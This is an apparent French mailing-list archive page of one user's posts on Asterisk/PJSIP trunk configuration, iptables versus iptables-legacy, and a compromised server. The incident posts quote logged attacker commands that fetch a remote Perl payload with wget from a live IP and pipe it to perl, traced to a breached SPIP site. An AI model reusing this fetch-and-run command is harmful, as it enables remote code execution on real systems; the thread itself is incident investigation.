[Jul  3 10:14:34] WARNING[32621]: res_pjsip.c:2497 set_id_from_hdr:
CallerID Name 'BERTRAND Jo�l' for number '6001' has invalid UTF-8
characters which were replaced
-- Executing [001@internal:1] Dial("PJSIP/6001-",
"PJSIP/0148069873@SBSR") in new stack
-- Called PJSIP/01@SBSR
  == Everyone is busy/congested at this time (1:0/1/0)
-- Auto fallthrough, channel 'PJSIP/6001-' status is
'CONGESTION'
<--- Received SIP request (651 bytes) from TCP:37.97.65.186:5070 --->
OPTIONS sip:s@62.212.98.88:5060;transport=TCP SIP/2.0
Via: SIP/2.0/TCP 37.97.65.186:5070;branch=z9hG4bKF13grv1tvD7va
Route: ;transport=TCP
Max-Forwards: 70
From: ;tag=a3r2eB8ge69Dp
To: 
Call-ID:
4a0ef4d5-4ac8-48f1-a551-e61277fe9753_4747c3c2-355c-4604-be14-d88ac29d8948
CSeq: 348033221 OPTIONS
Contact: 
User-Agent: Sewan_TRUNKFSC15
Allow: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE,
REGISTER, NOTIFY
Supported: path, replaces
Allow-Events: talk, hold, conference, refer
Content-Length: 0

> En parallèle, dans un terminal, lance sngrep

Une seule transaction :

  │INVITE
sip:00148069873@192.168.1.1 SIP/2
   192.168.10.253:5060│.0
  ──┬─│Via: SIP/2.0/UDP
192.168.10.253:5060;bra
  10:14:34.308815   │INVITE (S│nch=z9hG4bK-e51ba7a4;rport
+0.000602   │ │From: "BERTRAND Jool"
;tag=d0c01f1f32fe402fo0
+0.005262   │ <───│To: 
  10:14:34.314679   │ ACK │Remote-Party-ID: "BERTRAND Jool"
;screen=yes;party=calling
  10:14:34.317965   │INVITE (S│Call-ID:
57d1fddf-fd97f06f@192.168.10.25
+0.000737   │ │3
  10:14:34.318702   │ 100 Tryi│CSeq: 101 INVITE
+0.044037   │ <───│Max-Forwards: 70
  10:14:34.362739   │   503 Service Un│Contact: "BERTRAND Jool"

  10:14:34.398429   │ ACK │Expires: 240
│ │User-Agent: Cisco/SPA112-1.4.1_SR5
│ │Content-Length: 335
│ │Allow: ACK, BYE, CANCEL, INFO,
INVITE, N
│ │OTIFY, OPTIONS, REFER
│ │Supported: replaces
│ │Content-Type: application/sdp
│ │
│ │v=0
│ │o=- 735811 735811 IN IP4
192.168.10.253
│ │s=-
│ │c=IN IP4 192.168.10.253
│ │t=0 0
│ │m=audio 16386 RTP/AVP 8 18 0 2
100 101
│ │a=rtpmap:8 PCMA/8000
│ │a=rtpmap:18 G729a/8000
│ │a=rtpmap:0 PCMU/8000
│ │a=rtpmap:2 G726-32/8000
│ │a=rtpmap:100 NSE/8000
│ │a=fmtp:100 192-193
│ │a=rtpmap:101 telephone-event/8000
│ │a=fmtp:101 0-15
│ │a=ptime:30
│ │a=sendrecv

>>
>> - les appels entrants font bien sonner le bon téléphone, mais
>> seule la
>> voie sortante fonctionne.
> je ne comprends pas cette phrase
>>> ?
>> Lorsque j'appelle par exemple de mon cellulaire vers un numéro
>> correspondant au trunk SIP.
> Je ne comprends pas plus: tu appelles de ton cellulaire vers un numéro
> et le poste correspondant sonne. J'ai juste ?

Oui.

> Que veut dire alors "seule
> la voie sortante fonctionne" alors que tu n'arrives pas à passer d'appel ?

Je n'arrive pas à passer un appel sortant. Un appel entrant est
acheminé, mais seule les paquets RTP asterisk vers le monde extérieur
passent. Il n'y a aucun paquet RTP entrants.

>>     Il n'y a aucun paquet

Re: Configuration asterisk

2023-07-02 Par sujet BERTRAND Joël
NoSpam a écrit :
> 
> Le 02/07/2023 à 19:36, BERTRAND Joël a écrit :
>> NoSpam a écrit :
>>> Le 02/07/2023 à 18:27, BERTRAND Joël a écrit :
>>>> [...]
>>>> - tous les appels sortants échouent lamentablement ;
>>> Poste les logs. En cli, core set verbose 3 puis passe un appel en copie
>>> les logs ici
> Pas de logs ...

Oui, journée difficile...

rayleigh*CLI> core set verbose 3
Console verbose was OFF and is now 3.
[Jul  2 23:11:18] WARNING[22514]: res_pjsip.c:2497 set_id_from_hdr:
CallerID Name 'BERTRAND Jo�l' for number '6001' has invalid UTF-8
characters which were replaced
[Jul  2 23:11:18] WARNING[22514]: res_pjsip.c:2497 set_id_from_hdr:
CallerID Name 'BERTRAND Jo�l' for number '6001' has invalid UTF-8
characters which were replaced
-- Executing [001@internal:1] Dial("PJSIP/6001-0008",
"PJSIP/01@SBSR") in new stack
-- Called PJSIP/01@SBSR
  == Everyone is busy/congested at this time (1:0/1/0)
-- Auto fallthrough, channel 'PJSIP/6001-0008' status is
'CONGESTION'

>>>> - les appels entrants font bien sonner le bon téléphone, mais seule la
>>>> voie sortante fonctionne.
>>> je ne comprends pas cette phrase
> ?

Lorsque j'appelle par exemple de mon cellulaire vers un numéro
correspondant au trunk SIP.

>>>>    Il n'y a aucun paquet RTP qui provient de
>>>> l'extérieur...
>>> Qu'as tu mis dans ton transport
>>>
>>> external_media_address et external_signaling_address ?
>> [tcp-transport]
>>  type=transport
>>  protocol=tcp
>>  bind=192.168.15.18
>>  local_net=192.168.0.0/16
>>  external_media_address=adresse publique
>>  external_signaling_address=adresse publique
> 
> tcp ? udp est la norme mais ppurqoi pas. RTP est en UDP.: la fourchette
> de ports que tu as définie est elle bien renvoyée vers asterisk ?

Tout est renvoyé vers le serveur asterisk (DMZ) qui accepte tout ce qui
vient du sous-réseau de l'opérateur en question quel que soit le
protocole (iptables). La signalisation est faite en TCP sur le port
5070. Mais les paquets RTP doivent normalement passer en UDP. Du reste,
c'est bien ce que j'observe.

>>
>>> Difficile de te répondre ne connaissant pas le schéma du réseau ...
>> WAN-modem fibre-(192.168.15.18)DMZ(asterisk 192.168.1.1)
>>   |  |
>>   | 192.168.1.2
>>   +-serveur LAN
>>    192.168.10.128
>>  |
>>     LAN
>>
>> Tous les postes sont sur le LAN. Le WAN est en fait un MPLS
>> (redondance
>> fibre/4G d'un /29).
> Par hasard, une livebox ? Une fibre FIB Orange ?

Non, réseau Axione avec un Cisco.

>>>> [internal]
>>>>   exten => 6001,1,Dial(PJSIP/6001)
>>>>   exten => 6002,1,Dial(PJSIP/6002)
>>>>   exten => _0.,1,Dial(PJSIP/${EXTEN:1}@SBSR)
>>> Ne connaissant pas la config de SBSR.
>>>
>>> Modifie ta ligne en _0X de manière à ne pas envoyer tout ce qui
>>> commence par 0 plus un caractère minimum à ton opérateur, il risque de
>>> ne pas aimer ;)
>> [internal]
>>  exten => 6001,1,Dial(PJSIP/6001)
>>  exten => 6002,1,Dial(PJSIP/6002)
>>  exten => _00[1-7],1,Dial(PJSIP/${EXTEN:1}@SBSR)
> 
> exten => _00[1-79],1,Dial(PJSIP/${EXTEN:1}@SBSR)
> 
> Depuis le 01/01/2023 les 06 et 07 sont interdits pour la prospection
> commerciale, les numéros géographiques ne le sont plus, les 09 sont les
> numéros en vogue
> 
> Ton opérateur ne publie t'il pas d'exemple de configuration ?

J'ai un accès internet pour les ploucs. J'ai déjà eu du mal à obtenir
une fibre avec un /29 IPv4 et un /48 IPv6 et un routage MPLS... Je n'ai
pas accès aux opérateurs pro classiques, il faut que ces opérateurs
aient un contrat de partenariat avec la région et ce sont souvent des
gens qui sont à trois ou quatre dans une boîte...



Re: Configuration asterisk

2023-07-02 Par sujet BERTRAND Joël
NoSpam a écrit :
> 
> Le 02/07/2023 à 18:27, BERTRAND Joël a écrit :
>> [...]
>> - tous les appels sortants échouent lamentablement ;
> Poste les logs. En cli, core set verbose 3 puis passe un appel en copie
> les logs ici
>> - les appels entrants font bien sonner le bon téléphone, mais seule la
>> voie sortante fonctionne.
> je ne comprends pas cette phrase
>>   Il n'y a aucun paquet RTP qui provient de
>> l'extérieur...
> 
> Qu'as tu mis dans ton transport
> 
> external_media_address et external_signaling_address ?

[tcp-transport]
type=transport
protocol=tcp
bind=192.168.15.18
local_net=192.168.0.0/16
external_media_address=adresse publique
external_signaling_address=adresse publique

> Difficile de te répondre ne connaissant pas le schéma du réseau ...

WAN-modem fibre-(192.168.15.18)DMZ(asterisk 192.168.1.1)
 |  |
 | 192.168.1.2
 +-serveur LAN
  192.168.10.128
|
   LAN

Tous les postes sont sur le LAN. Le WAN est en fait un MPLS (redondance
fibre/4G d'un /29).

>>
>> [internal]
>>  exten => 6001,1,Dial(PJSIP/6001)
>>  exten => 6002,1,Dial(PJSIP/6002)
>>  exten => _0.,1,Dial(PJSIP/${EXTEN:1}@SBSR)
> 
> Ne connaissant pas la config de SBSR.
> 
> Modifie ta ligne en _0X de manière à ne pas envoyer tout ce qui
> commence par 0 plus un caractère minimum à ton opérateur, il risque de
> ne pas aimer ;)

[internal]
exten => 6001,1,Dial(PJSIP/6001)
exten => 6002,1,Dial(PJSIP/6002)
exten => _00[1-7],1,Dial(PJSIP/${EXTEN:1}@SBSR)


>> [sbsr]
>>  exten => +33,1,Dial(PJSIP/6001)
>>  exten => +33,1,Dial(PJSIP/6002)
> Es tu sûr que ton opérateur envoi le numéro préfixé +33 ?

Oui, j'en suis sûr, je le vois passer dans les logs.



Re: Configuration asterisk

2023-07-02 Par sujet BERTRAND Joël
NoSpam a écrit :
> Fallait dire de suite que c'était pour un SPA ! C'est plus délicat mais
> cela fonctionne
> 
> 1. d'ou sort le E accolé au 6001 ?

De nulle part, c'était un test pour ne pas avoir un identifiant
totalement numérique.

Je m'occuperai de cela lorsque j'aurai compris les plans de
numérotation. Pour l'instant, les appels passent d'un poste à l'autre en
interne, mais :
- tous les appels sortants échouent lamentablement ;
- les appels entrants font bien sonner le bon téléphone, mais seule la
voie sortante fonctionne. Il n'y a aucun paquet RTP qui provient de
l'extérieur...

[internal]
exten => 6001,1,Dial(PJSIP/6001)
exten => 6002,1,Dial(PJSIP/6002)
exten => _0.,1,Dial(PJSIP/${EXTEN:1}@SBSR)

[sbsr]
exten => +33,1,Dial(PJSIP/6001)
exten => +33,1,Dial(PJSIP/6002)

L'idée est de pouvoir sortir en faisant 0+numéro de téléphone.
Naturellement, la registration est bonne :

rayleigh*CLI> pjsip show registrations

 
  
==

 SBSR/sip:37.97.65.186:5070  SBSR_auth
 Registered(exp. 52s)

Objects found: 1

Bien cordialement,

JB



Re: Configuration asterisk

2023-07-02 Par sujet BERTRAND Joël
NoSpam a écrit :
> sip:6001E@192.168.1.1
> 
> https://www.asterisk.org/identifying-endpoint-pjsip/

Rien n'y fait.

Si je colle 6001 dans le SPA112, j'ai bien une trame qui demande une
authentification du login sip:6001E@192.168.1.1. Mais que je colle
username=6001E, 6001E@192.168.1.1 ou sip:6001E@192.168.1.1, ça termine
par une erreur d'authentification.

JB



Re: Configuration asterisk

2023-07-02 Par sujet BERTRAND Joël
NoSpam a écrit :
> Remplace user=6002 par username=SDA112net2501

Dès que je mets autre chose qu'une suite de chiffres, je reçois ceci
comme erreur :

[Jul  2 15:52:30] NOTICE[9876]: res_pjsip/pjsip_distributor.c:676
log_failed_request: Request 'REGISTER' from '"BERTRAND Jo�l"
' failed for '192.168.10.253:5060' (callid:
96a66e5d-8db7dc63@192.168.10.253) - Failed to authenticate
[Jul  2 15:52:30] NOTICE[9876]: res_pjsip/pjsip_distributor.c:676
log_failed_request: Request 'REGISTER' from '"BERTRAND Jo�l"
' failed for '192.168.10.253:5060' (callid:
96a66e5d-8db7dc63@192.168.10.253) - No matching endpoint found

JB



Re: Configuration asterisk

2023-07-02 Par sujet BERTRAND Joël
NoSpam a écrit :
> Bonjour.

Bonjour,

> chan_sip est deprecated depuis  longtemps et sera retiré avant la fin de
> l'année. pjsip est son successeur, évolution obligatoire.
> 
> J'ose espérer que tes ports 506/5061 UDP & TCP ne sont pas ouverts sur
> Internet, avec ta configuration tu cours au massacre du porte monnaie si
> ton trunk sortant est payant.

Non, tout est fermé de ce côté (firewall + asterisk qui n'écoute que
côté LAN).

> Ce qu'il ne faut pas faire c'est donner des extensions numériques -à
> cause des attaques brutes comme dit ci dessus- il faut faire dans sip.conf
> 
> [userEnAlphaAvecDeLaCasseEtDuNumerique]
> 
>  definition du user et dans extensions.conf
> 
> exten => 6001,1,Dial(SIP/userEnAlphaAvecDeLaCasseEtDuNumerique)
> 
> Aussi ne PAS mélanger les appels entrants et sortants toujours à cause
> des attaques. Fail2ban est ton ami pour se protéger

Certes et puisqu'on en parle ;-)

J'ai quelques problèmes d'incompréhension avec pjsip.conf.

Considérons le fichier suivant :

[6001](SDA112)
auth=6001
aors=6001

[6001](auth_userpass)
username=6001
password=

[6001](aor_dynamic)

[SDA112net2501](SDA112)
auth=SDA112net2501
aors=SDA112net2501

[SDA112net2501](auth_userpass)
username=6002
password=

[SDA112net2501](aor_dynamic)

Le téléphone 6001 arrive à s'authentifier. Pas SDA112net2501. Si je
remplace SDA112net2501 par 6002, ça fonctionne. Dans l'autre sens, si
j'écris :

[SDA112net2531](SDA112)
auth=6001
aors=6001

[6001](auth_userpass)
username=6001
password=

[6001](aor_dynamic)

c'est le poste 6001 qui ne s'authentifie plus.

Bien cordialement,

JB



Re: Configuration asterisk

2023-07-01 Par sujet BERTRAND Joël
Bon, j'ai réussi à régler le coup des appels entrants. Le '.' et le '!'
ne peuvent pas être utilisés n'importe où et les regex sont un peu
tatillonnes.

Reste le problème des appels sortants :

[User-standard]
exten => 6001,1,Dial(SIP/6001)
exten => 6002,1,Dial(SIP/6002)
exten => _0.,1,Dial(SIP/${EXTEN:1})

retourne :
[Jul  1 12:00:13] WARNING[12569][C-0001] chan_sip.c: Purely numeric
hostname (0x), and not a peer--rejecting!
[Jul  1 12:00:13] NOTICE[12569][C-0001] app_dial.c: Unable to create
channel of type 'SIP' (cause 20 - Subscriber absent)

JKB



Configuration asterisk

2023-07-01 Par sujet BERTRAND Joël
Bonjour à tous,

Je tente la configuration d'un serveur asterisk et je me noie un peu
dans la configuration.

Ce que j'ai fait jusqu'à présent :
- installation d'un serveur asterisk (20.3.0~dfsg+~cs6.13.40431413-1) ;
- configuration du fichier users.conf pour rajouter tous mes téléphones
IP. Tous les téléphones sont connectés au serveur asterisk et tous
peuvent s'appeler entre eux.

Dans extensions.conf, j'ai simplement configuré :

[general]
static=yes
writeprotect=no
autofallthrough=yes
clearglobalvars=yes
priorityjumping=no

[globals]
dial_opts=g
my_dial_status=answer
timeout=45

[User-standard]
exten => 6001,1,Dial(SIP/6001)
exten => 6002,1,Dial(SIP/6002)
...

Je tente maintenant de connecter ce serveur asterisk à mon trunk SIP.
J'ai donc configuré dans sip.conf le compte correspondant au trunk SIP :

[general]
context=public
allowoverlap=no
udpbindaddr=192.168.1.1:5060
tcpenable=no
tcpbindaddr=0.0.0.0
transport=udp
srvlookup=yes
language=fr
register => 
localnet=192.168.0.0/255.255.0.0
directmedia=update,nonat
nat=force_rport,comedia
qualify=yes
externrefresh=15
directmediapermit=192.168.0.0/255.255.0.0
externaddr=
externtlsport=5060


Asterisk est content puisqu'il m'indique :
rayleigh*CLI> sip show registry
Hostdnsmgr Username   Refresh
StateReg.Time
:5070   N  trunk-sip@sy   105 Registered
  Sat, 01 Jul 2023 11:05:42
1 SIP registrations.

Maintenant, je cherche à pouvoir appeler le monde extérieur et à être
appelé et je sèche. Les appels sont bien routés vers mon serveur
asterisk puisque dans les logs, lorsque j'essaie de m'appeler, je vois
ceci :

[Jul  1 11:00:47] NOTICE[8977][C-0001] chan_sip.c: Call from ''
(37.97.65.186:5070) to extension '+33x' rejected because
extension not found in context 'public'.

Or j'ai rajouté dans le fichier extensions.conf :
exten => ,1,Dial(SIP/6001)
soit à la suite de [User-standard], soit dans un contexte [oublic]. Rien
n'y fait.

J'ai aussi essayé d'appeler l'extérieur avec une règle du type exten =>
_0.,1,Dial(SIP/${EXTEN:1}), même motif, même punition mais avec un autre
message d'erreur :

[Jul  1 11:13:10] WARNING[9644][C-0002] chan_sip.c: Purely numeric
hostname (0x), and not a peer--rejecting!

La question est donc relativement simple. Comment faire une
configuration simpliste d'asterisk pour le connecter au monde extérieur
? Je me perds dans la documentation (officielle ou non).

Merci de vos lumières,

JKB



Re: iptables vs iptables-legacy

2023-06-28 Par sujet BERTRAND Joël
Michel Verdier a écrit :
> Et d'ailleurs pourquoi mixer les outils ?

Pourquoi ? Mais parce que fail2ban dans sa configuration par défaut
s'est mis à utiliser nftables alors qu'il est tout à fait possible
d'utiliser un firewall iptables (xtables) par ailleurs. J'ai d'ailleurs
modifié ces scripts pour remplacer iptables par iptables-legacy parce
qu'un temps, Debian ne fournissait pas un iptables capable de travailler
sur les nftables.

Je suis un peu flemmard sur les bords. Lorsque j'ai un serveur connecté
à plusieurs réseaux et des VPN avec un firewall de plusieurs centaines
de lignes qui est éprouvé, je ne m'amuse pas à le changer pour le fun et
la beauté du geste. Par ailleurs, la syntaxe iptables fonctionne
toujours pour les nftables (raison pour laquelle on se retrouve avec
iptables-legacy et iptables). Il n'y a donc aucune raison valable à ce
que les deux mécanismes cohabitent. À l'extrême limite, ce genre de
chose est une bidouille interne au noyau et cela devrait être
transparent du point de vue de l'utilisateur.

JB



Re: iptables vs iptables-legacy

2023-06-27 Par sujet BERTRAND Joël
NoSpam a écrit :
> Bonsoir
> 
> https://developers.redhat.com/blog/2020/08/18/iptables-the-two-variants-and-their-relationship-with-nftables#using_iptables_nft

Merci.

Mais ça ne répond pas trop à ma question sauf s'il faut comprendre
entre les lignes que les paquets passent d'abord par les xtables avant
de passer par les nftables.



iptables vs iptables-legacy

2023-06-27 Par sujet BERTRAND Joël
Bonsoir à tous,

J'ai toujours écrit mes firewalls à la main. Aujourd'hui, un script
charge au démarrage le contenu de /var/lib/iptables/active au travers de
iptables (nf_tables).

Or iptables-legacy est toujours disponible.

J'avoue avoir un peu de mal à comprendre le lien entre les deux filtres.

Root rayleigh:[~] > iptables-legacy -L
Chain INPUT (policy ACCEPT)
target prot opt source   destination

Chain FORWARD (policy ACCEPT)
target prot opt source   destination

Chain OUTPUT (policy ACCEPT)
target prot opt source   destination
Root rayleigh:[~] > Root rayleigh:[~] > iptables -L
# Warning: iptables-legacy tables present, use iptables-legacy to see them
Chain INPUT (policy DROP)
target prot opt source   destination
f2b-recidive  tcp  --  anywhere anywhere
ACCEPT all  --  anywhere anywhere
ACCEPT all  --  anywhere anywhere
ACCEPT tcp  --  anywhere anywhere tcp dpt:ssh
ACCEPT tcp  --  anywhere anywhere tcp dpt:smtp
...
Chain f2b-recidive (1 references)
target prot opt source   destination
REJECT all  --  subnet.crackbox.io   anywhere
reject-with icmp-port-unreachable
REJECT all  --  193.56.29.178anywhere
reject-with icmp-port-unreachable
REJECT all  --  147.78.103.120   anywhere
reject-with icmp-port-unreachable
RETURN all  --  anywhere anywhere
Root rayleigh:[~] >

D'après iptables-legacy, tout est ouvert. D'après iptables, tout est
fermé sauf ce qui est explicitement ouvert.

La question est simple. Si je change la règle par défaut
iptables-legacy -DINPUT DROP, plus rien ne fonctionne. Les deux systèmes
sont-ils en série ? Un paquet traverse-t-il d'abord un système de filtre
puis l'autre en séquence ? Je n'ai pas trouvé l'information (je dois
chercher au mauvais endroit)...

Bien cordialement,

JB



Re: Machine vérolée

2023-06-27 Par sujet BERTRAND Joël
BERTRAND Joël a écrit :
> BERTRAND Joël a écrit :
>> OK, je l'ai.
>>
>> 2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd
>> /dev/shm;wget -O - http://68.235.39.225/sepax|perl
>> 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd
>> /dev/shm;wget -O - http://68.235.39.225/sepax|perl
>>
>> J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais
>> toujours pas qui le lance, mais on progresse.
> 
>   Et le fautif semble être... SPIP ! Et je ne parle pas d'un SPIP
> antédiluvien, mais d'un SPIP 4.1 à jour (4.1.10). J'en ai deux qui se
> font fait percer. Mais pas de la même manière. Le premier avait des
> fichiers .php étranges dans sa racine : spip__.php et des choses comme
> response.php. Le second avait un spip_loader.php qui embarquait un binaire.
> 

Et j'aurais dû regarder de près les listes de diffusion de SPIP. Ça
couine très fort depuis quelques semaines sur le sujet. Comme quoi,
certains devraient plutôt s'attacher à la qualité du code qu'au côté
politique d'un projet...



Re: Machine vérolée

2023-06-27 Par sujet BERTRAND Joël
BERTRAND Joël a écrit :
> OK, je l'ai.
> 
> 2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd
> /dev/shm;wget -O - http://68.235.39.225/sepax|perl
> 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd
> /dev/shm;wget -O - http://68.235.39.225/sepax|perl
> 
> J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais
> toujours pas qui le lance, mais on progresse.

Et le fautif semble être... SPIP ! Et je ne parle pas d'un SPIP
antédiluvien, mais d'un SPIP 4.1 à jour (4.1.10). J'en ai deux qui se
font fait percer. Mais pas de la même manière. Le premier avait des
fichiers .php étranges dans sa racine : spip__.php et des choses comme
response.php. Le second avait un spip_loader.php qui embarquait un binaire.



Re: Machine vérolée

2023-06-27 Par sujet BERTRAND Joël
OK, je l'ai.

2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd
/dev/shm;wget -O - http://68.235.39.225/sepax|perl
2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd
/dev/shm;wget -O - http://68.235.39.225/sepax|perl

J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais
toujours pas qui le lance, mais on progresse.



Re: Machine vérolée

2023-06-26 Par sujet BERTRAND Joël
Michel Verdier a écrit :
> Le 25 juin 2023 BERTRAND Joël a écrit :
> 
>>  Petite remarque : j'ai modifié allow_url_fopen de on à off dans le
>> fichier de configuration de php 8.2 (je ne vois pas pourquoi c'est 'on'
>> par défaut). /tmp est maintenant en noexec.
> 
> Attention de mémoire il y a plusieurs php.ini utilisés selon le mode
> d'appel

Merci, je sais. Et je vérifie toujours avec un php_info().

JB



  1   2   3   4   5   6   7   8   9   >